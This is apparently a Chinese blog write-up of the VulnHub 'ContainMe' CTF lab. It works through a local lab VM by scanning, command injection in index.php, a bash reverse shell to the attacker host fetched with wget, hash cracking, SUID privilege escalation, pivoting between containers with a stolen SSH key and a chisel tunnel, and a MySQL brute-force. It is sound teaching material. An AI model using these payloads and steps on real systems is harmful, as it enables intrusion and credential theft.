靶机描述

靶机地址:https://www.vulnhub.com/entry/containme-1,729/

Description

The difficulty is easy. It’s a CTF.

一、搭建靶机环境

攻击机Kali

IP地址:192.168.184.152

靶机

IP地址:192.168.184.151

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

将下载好的靶机环境,导入 VMware ,设置为 NAT 模式

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth1-l (指定网卡扫)

arp-scan -I eth1 -l(因为我的kali是双网卡,这里用NAT网卡进行扫描)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rhi1GuVu-1650250902338)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220114161117681.png)]

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

☁  kali  nmap -A -sV -T4 -p- 192.168.184.151
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-14 16:12 CST
Stats: 0:02:23 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 16:15 (0:00:47 remaining)
Nmap scan report for 192.168.184.151
Host is up (0.00034s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a6:3e:80:d9:b0:98:fd:7e:09:6d:34:12:f9:15:8a:18 (RSA)
|   256 ec:5f:8a:1d:59:b3:59:2f:49:ef:fb:f4:4a:d0:1d:7a (ECDSA)
|_  256 b1:4a:22:dc:7f:60:e4:fc:08:0c:55:4f:e4:15:e0:fa (ED25519)
80/tcp   open  http          Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
2222/tcp open  EtherNetIP-1?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
8022/tcp open  ssh           OpenSSH 7.7p1 Ubuntu 4ppa1+obfuscated (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc:ae:ea:27:3f:ab:10:ae:8c:2e:b3:0c:5b:d5:42:bc (RSA)
|   256 67:29:75:04:74:1b:83:d3:c8:de:6d:65:fe:e6:07:35 (ECDSA)
|_  256 7f:7e:89:c4:e0:a0:da:92:6e:a6:70:45:fc:43:23:84 (ED25519)
MAC Address: 00:0C:29:CE:2D:4C (VMware)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=1/14%OT=22%CT=1%CU=39559%PV=Y%DS=1%DC=D%G=Y%M=000C29%T
OS:M=61E13125%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=105%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O
OS:5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   0.34 ms 192.168.184.151OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 200.89 seconds

开放了:

22—ssh—OpenSSH 7.6p1 Ubuntu

80—http—Apache httpd 2.4.29

2222— EtherNetIP-1?

8022—ssh—OpenSSH 7.7p1 Ubuntu

2.2枚举漏洞

22 端口分析

一般只能暴力破解,暂时没有合适的字典

80 端口分析

访问 80 端口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x0GotcV6-1650250902339)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220114161240090.png)]

查看源代码,没有特殊的信息可利用,扫一扫目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1wxlG12e-1650250902340)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220114162450843.png)]

扫出了四个目录,咱们挨个看看

恩?访问index.php时,发现页面中列出当前目录下的文件

这个时候想起了命令注入,咱们wfuzz工具测试一下

wfuzz -u "http://192.168.184.151/index.php?FUZZ=aaa" -w /usr/share/seclists/Discovery/Web-Content/common.txt

啊呀,响应329字符数太多了,这里咱们过滤一下

wfuzz -u "http://192.168.184.151/index.php?FUZZ=aaa" -w /usr/share/seclists/Discovery/Web-Content/common.txt --hh 329

成功跑出参数path,测试一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ypUTDgqc-1650250902342)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220114171643915.png)]

2.3漏洞利用

咱们查看一下系统文件啥的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pFvQXfEE-1650250902342)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220114171744155.png)]

得到用户mike,查看一下其目录下文件

发现.bash_history文件可读,但是.ssh不可读

既然可以命令执行了,那就尝试上传 shell

老套路,首先在本地制作一个 shell 脚本,然后开启 http 服务

#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/192.168.184.152/6666 <&1'

然后浏览器访问

http://192.168.184.151/index.php?path=aaa;wget%20http://192.168.184.152:666/shell.sh

然后,查看一下是否下载成功

发现并没有成功

我擦,傻了,在当前目录执行下载命令,肯定是没权限写入的

咱们重新查看一下文件夹权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ahgwJb1b-1650250902343)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220114173403015.png)]

发现tmp可以进行写入,咱们把文件下载到该文件夹内

http://192.168.184.151/index.php?path=aaa;wget%20-P%20/tmp%20http://192.168.184.152:666/shell.sh

我们在查看一下是否下载成功

这个时候发现已经将shell.sh下载到tmp目录下了

然后咱们执行一下该脚本,kali上监听nc -lvp 6666

http://192.168.184.151/index.php?path=aaa;bash%20/tmp/shell.sh

成功反弹shell

2.4权限提升

提权方式1

我们切换至mike目录下,查看相关文件

运行该文件

查看一下二进制的数据

傻了,太多了,显示不全,咱们去浏览器上搞下来在分析一下

咱们将其复制到HxD中,十六进制编码转换一下保存为1cryptupx,然后咱们用Exeinfo PE工具分析一下

可以发现该文件是由UPX打包的,咱么去kali中解包一下

报错了,不太懂

解压成功了,IDA 打开,Shift+F12查看一下

看到了一个hash字符串,查看其对应的函数

函数大致的意思

输入正确的密码,该函数将以 root 身份调用“/bin/bash”。

将哈希字符串保存下来,爆破一下

john --wordlist=/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt hash.txt

最后得到密码为mike

咱们重新运行一下1cryptupx,这次带上密码mike,发现最后还是跳到了www-data

咱们在这里在运行一下find / -perm -4000 2>/dev/null

这次发现了crypt

成功提权,意外

升级一下shell

python3 -c 'import pty;pty.spawn("/bin/bash")';

但是找半天并没有找到flag,但根据提示,这是一个CTF题啊,不可能没有flag

突然发现root后边跟着主机名是host1,那是不是还有一个host2?

提权方式2

我们查看一下ip信息

看ip没把我气死

我居然在容器中????

扫描方式一

找找同网段还有没有别的容器,容器中没有 nmap

apt install nmap

然后扫一下容器ip同网段是否存在其他ip

nmap -sn 172.16.20.0/24

果然,找到了另一个ip

扫一下 172.16.20.6 开放的端口

·nmap -A 172.16.20.6

扫描方式二

安装nmap花了点时间,后来发现有个更简单的方法

for i in {1..254} ;do (ping 172.16.20.$i -c 1 -w 5 >/dev/null && echo "172.16.20.$i" &) ;done

 for port in {1..65535}; doecho >/dev/tcp/172.16.20.6/$port &&echo "port $port is open"done 2>/dev/null |grep open

发现仅开启了一个22端口,但是我们不知道密码

不过,ssh除了密码登录,还可以使用密钥登录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nWW25hD5-1650250902351)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220114185434703.png)]

这里咱们看看能不能利用mike用户的密钥登录

ssh mike@172.16.20.6 -i id_rsa

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fy3jHZgh-1650250902352)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220114185603710.png)]

这里成功登录

检查一下有哪些服务ss -ntlp

发现运行着mysql数据库,尝试登录下数据库,然后,这边咱们的思路是

3306爆破,需要在 host1 上,使用 ssh -L 来映射 host2:3306 ==> host1:3306。再将 host1:3306 映射到 kali 然后再爆破。

先看看host1的端口开放情况

使用 ssh -L 来映射 host2:3306 ==> host1:3306

检查host1的端口,3306是否开放。

然后我们需要把外面的host1:3306映射到kali,但是host1有限制,所以ssh和socat都不起作用。我们必须使用chisel

在 kali 上,运行 chisel 服务器。

┌──(hirak0㉿kali)-[~/Tools/信息收集/chisel]
└─$  ./chisel server -p 33060 --reverse2022/01/17 10:28:26 server: Reverse tunnelling enabled
2022/01/17 10:28:26 server: Fingerprint iNQdkqZNTz9OytEMUA2404o5cSeLFhb3UFu9iSnSKzY=
2022/01/17 10:28:26 server: Listening on http://0.0.0.0:33060
2022/01/17 10:40:01 server: session#1: tun: proxy#R:3306=>33060: Listening

然后在 host1 上运行 chisel 客户端。

root@host1:/tmp#  ./chisel client http://192.168.184.152:33060 R:3306:127.0.0.1:33060
<http://192.168.184.152:33060 R:3306:127.0.0.1:33060
2022/01/16 20:40:00 client: Connecting to ws://192.168.184.152:33060
2022/01/16 20:40:00 client: Connected (Latency 824.889µs)

现在检查kali的端口,端口3306是开放的。

在kali上使用美杜莎暴力破解mysql的密码。

这里试了好几次,才爆破出来密码是password

medusa -M mysql -u mike -P /usr/share/seclists/Passwords/darkweb2017-top10000.txt -t 100 -h 192.168.184.152 -v 99 -w 99

最后这个爆破的地方会有问题,不用纠结了,步骤思路清晰就好

在host2上登录mysql,mike:password

进入数据库后边的操作就简单了

mike@host2:~$ mysql -umike -ppassword
mysql -umike -ppassword
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.7.34-0ubuntu0.18.04.1 (Ubuntu)Copyright (c) 2000, 2021, Oracle and/or its affiliates.Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| accounts           |
+--------------------+
2 rows in set (0.62 sec)mysql> use accounts;
use accounts;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
mysql> show tables;
show tables;
+--------------------+
| Tables_in_accounts |
+--------------------+
| users              |
+--------------------+
1 row in set (0.00 sec)mysql> select * from users;
select * from users;
+-------+---------------------+
| login | password            |
+-------+---------------------+
| root  | bjsig4868fgjjeog    |
| mike  | WhatAreYouDoingHere |
+-------+---------------------+
2 rows in set (0.08 sec)mysql> exit

这root的密码都出来了,后边还难吗?

root@host2:~# ls -al
ls -al
total 28
drwx------  4 root root 4096 Jan 14 11:04 .
drwxr-xr-x 22 root root 4096 Jun 29  2021 ..
lrwxrwxrwx  1 root root    9 Jul 19 20:32 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwxr-xr-x  3 root root 4096 Jul 15  2021 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Jul 15  2021 .ssh
-rw-------  1 root root  218 Jul 16 02:26 mike.zip
root@host2:~# unzip mike.zip
unzip mike.zip
Archive:  mike.zip
[mike.zip] mike password: WhatAreYouDoingHereextracting: mike
root@host2:~# cat mike
cat mike
THM{_Y0U_F0UND_TH3_C0NTA1N3RS_}

成功拿到flag

总结

该靶机套路很深,漏洞知识不多,还是命令注入,但后期的提权部分东西很杂,值得学习一波

  1. dirsearch的使用
  2. wfuzz的使用
  3. 反弹shell新姿势
  4. 简单的二进制文件分析
  5. IDA,Exeinfo PE及UPX tools+的使用
  6. john破解hash密码
  7. 通过shell方式获取存活主机及开放端口
  8. ss的使用(netstat的替代)
  9. 端口映射
  10. chisel 的使用
  11. medusa的使用

靶机渗透练习35-ContainMe相关推荐

  1. HA: SHERLOCK 靶机渗透取证

    HA: SHERLOCK 靶机渗透取证 靶机描述: DescriptionHA: Sherlock! This lab is based on the famous investigator's jo ...

  2. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  3. [HTB]“Heist”靶机渗透详细思路

    今天我们来看一下hackthebox里的一个靶机"Heist",直接开始渗透. 一.信息搜集 先打开网站看看.是一个登陆框,使用弱口令和注入都无果.在网页中发现了 login as ...

  4. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  5. 【渗透测试】靶机渗透Vulnhub-bulldog

    目录 前言 一.bulldog靶机安装 二.bulldog靶机渗透 1.信息搜集 2.Web渗透--后台登录 3.Web渗透--命令注入&nc反弹shell 4.权限提升 渗透步骤回顾 感悟 ...

  6. 靶机渗透【bulldog】

    文章目录 *一. bulldog靶机安装* 1. 下载bulldog 2. 开启bulldog *二. bulldog靶机渗透* 1. 信息收集 2. Web渗透 3. 命令注入&nc反弹sh ...

  7. Bulldog靶机渗透

    Bulldog靶机渗透 1. 获取地址IP,确定靶机IP是192.168.119.134 2.扫描目标主机信息 3.爆破目标主机目录 4.通过翻译得知这个网页是给承包商看的 5.查看网页的源码,查找有 ...

  8. 【VulnHub靶机渗透】一:BullDog2

    在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理. 文章目录 简介 渗透步骤 1.主机发现.端口扫描 2.Web扫描.漏洞发现 3. ...

  9. bulldog2 靶机渗透

    bulldog2 靶机渗透 1.先做主机发现 2.查看目标靶机开通的服务,发现目标靶机只开通了80端口 3.使用http服务登录主页 4.发现网站关闭了注册功能 5.发现用户遍历漏洞 6.查看下载好的 ...

  10. Eric靶机渗透测试

    Eric靶机渗透练习 攻击机:kali Ip:192.168.0.3 靶机:eric Ip:192.168.0.4 找到靶机ip:192.168.0.4 nmap -sF 192.168.0.0/24 ...

最新文章

  1. xlrd.biffh.XLRDError: Excel xlsx file; not supported
  2. 有趣的开源 AI 换脸工具:faceswap
  3. 将本地工程上传到github
  4. 运维秘籍:防止数据丢失“六脉神剑”
  5. python selenium2 动态调试
  6. 开始开发HoloLens应用吧 Start Developing HoloLens Apps Today
  7. 纯css3代码写九宫格效果
  8. 「Activiti精品 悟纤出品」开发一个简单的SpringBoot activiti应用 - 第330篇
  9. 计算机网络——常用的网络命令
  10. Exploring 3-D–2-D CNN Feature Hierarchy for Hyperspectral Image Classification翻译全文
  11. 掌握技巧可以快速完成网站备案
  12. 第一款在太空中使用的芯片
  13. python的request返回400_爬虫发出ajax请求,requests能获取正常响应,scrapy发出请求却返回400...
  14. java.sql.SQLException: Incorrect string value: ‘\xE4\xB8\x8A\xE6\xB5\xB7‘ for column ‘xxx‘
  15. Python与C++语法比较--字符串篇
  16. 关于电影票对接公众号cps
  17. c++实现三国杀小游戏
  18. MySQL权限与安全管理之权限表与账户管理
  19. Sublime Emmet 插件安装教程 Tab 快捷键无法使用问题解决
  20. 总结近年来我国主、被动遥感卫星发射的情况

热门文章

  1. 2022年ccpc威海站
  2. (史上最完整) 队列 的基本操作和实现 及排队系统实例
  3. OpenCV各个平台SDK下载
  4. 【英语语法入门】 第29讲 情态动词的否定和疑问
  5. 锐龙r74800h和i710750h差距大吗 r74800h和i710750h对比
  6. 山东大学计算机学院复试名单,山东大学2012计算机学院拟录取名单。
  7. 微信小程序顶部透明状态标题栏搜索栏与胶囊对齐
  8. Polyspace应用:Bug Finder检测代码漏洞
  9. 两条命令彻底修复动态链接库
  10. python中怎么判断输入的是否是字母 阿斯克码_python中字母与ascii码的相互转换